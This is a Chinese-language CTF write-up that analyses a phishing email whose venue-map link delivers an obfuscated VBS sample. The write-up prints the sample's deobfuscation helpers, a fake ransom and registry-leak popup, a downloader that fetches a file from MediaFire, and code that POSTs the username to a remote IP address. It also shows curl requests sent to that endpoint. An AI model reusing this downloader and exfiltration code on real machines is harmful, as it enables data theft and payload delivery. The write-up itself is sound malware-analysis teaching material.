DEFCON Invitation

Kyrie-Lrving 2024-11-01 10:16:44 29 0


挑战非常简单。按照说明进行一些 APT 分析。一点也不难猜。我们得到了一个附件DEFCON Finals Invitation.eml,一个典型的电子邮件文件。让我们在 Outlook 中安全地打开它,看看它是什么样子的:

电子邮件

检查纯文本和图像,似乎有一些有趣的东西,我们可以检查一下。没有 steg 或奇怪的密码。

信息系统

如果您不想迷路,请访问场馆地图。您还可以订阅我们的新闻通讯。

“场地地图”似乎无害,它指向https://storage.googleapis.com/defcon-nautilus/venue-guide.html,看起来像是一个合法的Nautilus托管静态网站。现在如果我们打开它,除了看到“Caesars Forum 场地地图”之外,该网站实际上正在尝试下载一些文件,venue-map.png如果你点击下载按钮。幸运的是,Chrome 会显示全名并自动阻止它。Sus vbs 文件。

VBS 分析

现在让我们在 VM 中下载这个 vbs 文件并进行分析。你可以使用ANY.RUN等工具动态分析恶意软件样本。但由于这是一个初学者挑战,因此直接分析代码就足够简单了。

首先,如果你直接运行 vbs,它会弹出很多窗口警告你被黑客入侵并要求你进行比特币转账。这只是一种干扰。在弹出比特币窗口后,不久就会在事件完成时弹出另一个窗口。如果我们使用一些网络拦截工具,我们实际上可以观察到一些网络流量,但我们现在可以忽略它并开始阅读代码。

第一部分是一些计算逻辑,也就是MD5。

下一部分由大量随机评论组成,中间有一个函数:

Function OwOwO(h)
  Dim a : a = Split(h)
  Dim i
  For i = 0 To UBound(a)
      a(i) = Chr("&H" & a(i))
  Next
  OwOwO = Join(a, "")
End Function

我们可以在 VBS 编辑器上运行它,它将十六进制转换为 ASCII。下一部分:

Function Nautilus(ByVal sBase64EncodedText, ByVal fIsUtf16LE)
    Dim sTextEncoding
    if fIsUtf16LE Then sTextEncoding = "utf-16le" Else sTextEncoding = "utf-8"
    With CreateObject("Msxml2.DOMDocument").CreateElement("aux")
        .DataType = "bin.base64"
        .Text = sBase64EncodedText
        Nautilus = BUtil(.NodeTypedValue, sTextEncoding)
    End With
End Function

该函数基本上是一个 base64 解码器。下一部分:

function BUtil(ByVal byteArray, ByVal sTextEncoding)
    If LCase(sTextEncoding) = "utf-16le" then
        BUtil = CStr(byteArray)
    Else
        With CreateObject("ADODB.Stream")
            .Type = 1
            .Open
            .Write byteArray
            .Position = 0
            .Type = 2
            .CharSet = sTextEncoding
            BUtil = .ReadText
            .Close
        End With
    End If
end function

此函数是字节数组到字符串的转换器。下一部分:

Function XA3bVjQ3(A0CQ5, B9HW3)
    Dim nFBRW6, X7IDP
    On Error Resume Next
    Set nFBRW6 = CreateObject(StRREverse("llehS.tpircSW"))
    X7IDP = nFBRW6.RegRead(A0CQ5)
    If err.number <> 0 Then
        xA3bVjQ3 = B9HW3
    Else
        xA3bVjQ3 = X7IDP
    End If
    Set nFBRW6 = Nothing
End Function

strComputer = "."
 
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & _ 
    strComputer & "\root\default:StdRegProv")
 
strKeyPath = "SYSTEM\CurrentControlSet\Control"
strUser = CreateObject("WScript.Network").UserName

oReg.EnumValues HKEY_LOCAL_MACHINE, strKeyPath, _
    arrValueNames, arrValueTypes

res = Msgbox("Hi " & strUser & ", your data have been compromised!", vbOKCancel+vbCritical, "")

For jj=0 To UBound(arrValueNames)
    Select Case arrValueTypes(jj)
        Case REG_SZ, REG_EXPAND_SZ, REG_DWORD
            str = XA3bVjQ3("HKLM\" & strKeyPath & "\" & arrValueNames(jj), "dummy")
            res = Msgbox(arrValueNames(jj) & " LEAKED: " & str, vbOKCancel+vbCritical, "")
    End Select 
Next

res = Msgbox("Please transfer BTC to 0x0b26C24d538e3dfF58F7c733535e65a6674FB3aB to receive decrypted data...", vbOKOnly+vbInformation, "")

显然,这对应于执行脚本后的前半部分:显示您的个人数据已“泄露”(它实际上是在读取您的注册表并在屏幕上打印其 MD5 值)并要求进行 BTC 转账。这部分没什么有趣的。下一部分绝对至关重要:

ewkjunfw = Replace("long_str", "IlllIllIIIllllIllII", " ")

dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", OwOwO(ewkjunfw), False
xHttp.Send

with bStrm
    .type = 1
    .open
    .write xHttp.responseBody
    .savetofile Nautilus(StRREVErsE(replace("=QWZ###############_###lWbvJHct92Yucmbw5yZhxmZt42bjZWZkxFctVGdcp###############_###Y", "###############_###", "z")), False), 2
end with

有一个长字符串,我们IlllIllIIIllllIllII用空格替换它。然后,我们调用OwOwO(ewkjunfw)将其从十六进制转换为 ascii,然后 HTTP GET 。使用CyberChef我们将其解码为https://download1647.mediafire.com/l188u2d532qg3fOoLpilcI89p0_h4E0cGLjk_uvBUiag7E_rMZ-H5-me9Kr9SQLVQaKSiKcEvJO-EkfTSUqWlrN6SzXgI0LYBh-F5em4IA4iX3tOIGh0Ej46GlwvLOfT8pzvuy91Utej1r2I0jg7YsUNcssPted508dskWRpkAI/yea535hvgp32vmv/defcon-flag.png.XORed。它保存在 中Nautilus(StRREVErsE(replace("=QWZ###############_###lWbvJHct92Yucmbw5yZhxmZt42bjZWZkxFctVGdcp###############_###Y", "###############_###", "z")), False),运行并解码c:\temp\defcon-flag.png.compromised

如果您的虚拟机阻止下载和保存尝试,我们可以从下载该文件mediafire,或者只需检查文件夹即可defcon-flag.png.compromised。重要的是,原始文件名称为defcon-flag.png.XORed,表明此图像文件似乎是使用 XOR“加密”的。

在这个阶段,我们似乎可以尝试使用 png 文件格式并恢复原始图像?我们可以89 50 4E 47 0D 0A 1A 0A先尝试用 png 魔法字节对该图像进行异或:

异或结果

它确实得到了一个可读的字符串!但还差得远,关键还不止这些。在这个阶段,我们应该记住 vbscript 的最后部分还没有被分析。代码是混淆的。它以一个长Execute(...)语句开头。你可以更改ExecuteWScript.Echo,然后你需要做的就是运行源代码,它会打印出原始的未混淆的 VBS 源代码。(参考:https://isvbscriptdead.com/vbs-obfuscator/)。

Dim http: Set http = CreateObject("WinHttp.WinHttpRequest.5.1")
Dim url: url = "http://20.106.250.46/sendUserData"

With http
  Call .Open("POST", url, False)
  Call .SetRequestHeader("Content-Type", "application/json")
  Call .Send("{""username"":""" & strUser & """}")
End With

res = Msgbox("Thank you for your cooperation!", vbOKOnly+vbInformation, "")

太好了,有一些新信息...一个请求以 json 有效负载POST发送到端点。我们可以尝试使用以下命令向此端点发送请求:http://20.106.250.46/sendUserData{"username":"<username>"}curl

$ curl -X POST -H "Content-Type: application/json" -d '{"username":"test"}' http://20.106.250.46/sendUserData
{"key":"compromised","msg":"Not admin!"}

哎呀,好像不行admin!请重试admin

$ curl -X POST -H "Content-Type: application/json" -d '{"username":"admin"}' http://20.106.250.46/sendUserData
{"key":"02398482aeb7d9fe98bf7dc7cc_ITDWWGMFNY","msg":"Data compromised!"}

答对了!密钥是02398482aeb7d9fe98bf7dc7cc_ITDWWGMFNY,它的前缀与我们之前找到的相匹配。现在我们只需将加密的 png 与此密钥进行异或即可得到最终图像:

旗帜

出现了模因图像,还有我们的旗帜!

SEKAI{so_i_guess_we'll_get_more_better_next_year-_-}

分类:MISC
image
作者:Kyrie-Lrving

41

提交

0

收入

相关WriteUP

问题反馈